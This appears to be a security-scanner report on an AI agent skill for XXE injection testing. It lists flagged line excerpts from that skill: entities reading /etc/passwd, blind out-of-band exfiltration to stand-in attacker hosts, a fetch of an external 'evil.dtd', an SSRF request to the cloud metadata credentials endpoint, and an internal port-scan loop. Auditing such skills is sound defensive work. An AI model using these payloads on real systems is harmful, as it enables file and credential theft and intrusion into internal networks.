testing-for-xxe-injection-vulnerabilities
Enables security professionals to discover and exploit XXE injection vulnerabilities in XML processing applications.
Install this skill
Security score
The testing-for-xxe-injection-vulnerabilities skill was audited on Jun 14, 2026 and we found 37 security issues across 2 threat categories, including 3 critical. Review the findings below before installing.
Categories Tested
Security Issues
Access to /etc/passwd
| 37 | - **In-band file read:** a response field reflects file content, e.g. `/etc/passwd` matching the regex `root:.*:0:0:`, or a base64 blob from `php://filter/convert.base64-encode/resource=...`. |
Access to /etc/passwd
| 39 | - **Blind OOB DTD exfiltration:** host an external DTD that reads a file and exfils it through a nested parameter entity to `http://attacker/?d=%file;` (use **FTP** for multi-line files like `/etc/pas |
Access to /etc/passwd
| 93 | # Basic XXE payload to read /etc/passwd |
Access to /etc/passwd
| 98 | <!ENTITY xxe SYSTEM "file:///etc/passwd"> |
Access to /etc/passwd
| 207 | <!ENTITY % file SYSTEM "file:///etc/passwd"> |
Access to /etc/passwd
| 226 | <!ENTITY xxe SYSTEM "file:///etc/passwd"> |
Access to /etc/passwd
| 316 | A SOAP web service processes XML input without disabling external entities. Injecting a DTD with a SYSTEM entity in the SOAP body reads `/etc/passwd` and returns it in the SOAP response. |
Access to /etc/passwd
| 339 | 2. Include DTD with external entity: <!ENTITY xxe SYSTEM "file:///etc/passwd"> |
Access to /etc/passwd
| 344 | - Local file read: /etc/passwd, /etc/hostname, application config files |
Access to /etc/passwd
| 351 | | /etc/passwd | 42 user accounts, service accounts identified | |
External URL reference
| 38 | - **OOB entity callback:** a classic or parameter entity (`<!ENTITY % xxe SYSTEM "http://<id>.oast.fun/x">`) triggers an inbound **HTTP / DNS / FTP** hit on `interactsh`/Collaborator — proves resoluti |
External URL reference
| 39 | - **Blind OOB DTD exfiltration:** host an external DTD that reads a file and exfils it through a nested parameter entity to `http://attacker/?d=%file;` (use **FTP** for multi-line files like `/etc/pas |
External URL reference
| 68 | "https://target.example.com/api/search" |
External URL reference
| 74 | "https://target.example.com/api/search" |
External URL reference
| 84 | -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \ |
External URL reference
| 85 | "https://target.example.com/ws/service" |
External URL reference
| 101 | "https://target.example.com/api/search" |
External URL reference
| 111 | "https://target.example.com/api/search" |
External URL reference
| 121 | "https://target.example.com/api/search" |
External URL reference
| 131 | "https://target.example.com/api/search" |
External URL reference
| 147 | <!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test"> |
External URL reference
| 150 | "https://target.example.com/api/search" |
External URL reference
| 159 | <!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun"> |
External URL reference
| 162 | "https://target.example.com/api/search" |
External URL reference
| 169 | <!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param"> |
External URL reference
| 173 | "https://target.example.com/api/search" |
External URL reference
| 185 | <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example.com/?data=%file;'>"> |
External URL reference
| 198 | <!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd"> |
External URL reference
| 202 | "https://target.example.com/api/search" |
External URL reference
| 228 | <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> |
External URL reference
| 237 | "https://target.example.com/api/upload/avatar" |
External URL reference
| 263 | <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> |
External URL reference
| 266 | "https://target.example.com/api/search" |
External URL reference
| 273 | -d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>" \ |
External URL reference
| 274 | "https://target.example.com/api/search" | head -c 100 |
External URL reference
| 283 | <!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin"> |
External URL reference
| 286 | "https://target.example.com/api/search" |